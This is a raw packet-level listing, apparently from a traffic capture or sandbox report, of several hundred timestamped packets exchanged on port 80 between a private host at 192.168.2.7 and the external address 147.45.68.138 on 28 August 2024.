Aug 28, 2024 22:55:56.064960957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064975023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064994097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065013885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065025091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065051079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065058947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065068960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065079927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065088987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065097094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065123081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065201044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065212011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065222979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065233946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065239906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065256119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065280914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065316916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065330982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065347910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065355062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065360069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065371037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065372944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065392971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065417051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065433979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065465927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065486908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065500021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065521955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065534115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065536976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065546989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065567970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065587044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065598965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065609932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065617085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065633059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065658092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065677881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065689087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065701008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065712929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065720081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065722942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.065747023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.065763950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066144943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066157103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066168070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066179037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066183090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066198111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066205978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066210985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066240072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066272974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066299915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066313028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066323996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066334963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066337109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066359997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066374063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066385031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066385984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066397905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066411018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066411972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066421986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066431999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066461086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066463947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066474915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066487074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066497087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066499949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066509008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066520929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066528082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066579103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066608906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066620111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066631079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066643000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066643953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066653967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066667080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066669941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066677094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.066695929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.066714048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067018986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067055941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067111015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067121029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067130089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067151070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067161083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067163944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067171097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067183971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067193985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067195892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067224026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067230940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067265034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067270994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067276955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067301035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067321062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067342043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067353010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067363977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067373037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067378044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067393064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067414045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067477942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067490101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067500114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067512989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067528009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067540884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067547083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067554951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067567110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067576885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067579985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067608118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067673922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067683935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067693949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067704916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067719936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067725897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067735910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067738056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067748070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067759991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067763090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067790985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067805052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067842960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.067878962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.067914009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.151222944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.151240110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.151288033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.152223110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.152381897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.155967951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.155980110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.156047106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.157123089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.157135010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.157172918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.160732031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.160742998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.160779953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.160809040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.161895037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.161906004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.161915064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.161942005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.161964893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.165446043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.165457964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.165493011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.166660070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.166671038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.166709900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.170190096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.170201063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.170238972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.171365023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.171386957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.171407938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.171425104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.171428919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.171458006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.174921989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.174933910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.174943924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.174969912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.174990892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.176171064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.176182032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.176219940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.179795980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.179807901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.179817915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.179842949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.179863930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.180915117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.180926085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.180936098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.180962086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.180979967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.184567928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.184580088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.184639931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.185673952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.185686111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.185722113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.189276934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.189289093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.189296961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.189307928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.189335108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.189352036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.190493107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.190511942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.190543890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.190556049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.194082022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.194097042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.194133043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.195257902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.195271969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.195281982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.195293903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.195308924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.195333958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.198833942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.198846102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.198884010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.199976921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.199989080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.200026989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.203572035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.203584909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.203596115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.203615904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.203635931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.204680920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.204693079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.204730988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.208272934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.208317041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.209408045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.209420919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.209430933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.209444046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.209453106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.209455013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.209477901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.209492922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.213044882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.213092089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.214152098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.214164019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.214175940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.214189053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.214206934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.214221001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.214246035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.217811108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.217873096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.218880892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.218894958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.218904018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.218914986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.218931913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.218961954 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.222608089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.222656965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.223576069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.223597050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.223607063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.223628044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.223645926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.223685026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.223721981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.227438927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.227458000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.227497101 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.228445053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.228457928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.228470087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.228508949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.232213020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.232259989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.233194113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.233206987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.233247995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.233272076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.233308077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.236994028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.237066984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.237903118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.237915039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.237926006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.237956047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.237994909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.238018990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.238030910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.238055944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.238080978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.241791010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.241841078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.242655993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.242669106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.242703915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.242769957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.242805958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.246598005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.247008085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.247442961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.247454882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.247466087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.247489929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.247503042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.247509003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.247538090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.251730919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.251785994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.252146006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.252159119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.252203941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.252203941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.252250910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.252377987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.256566048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.256612062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.256886959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.256899118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.256911039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.256927013 CEST	49731	80	192.168.2.7	147.45.68.138
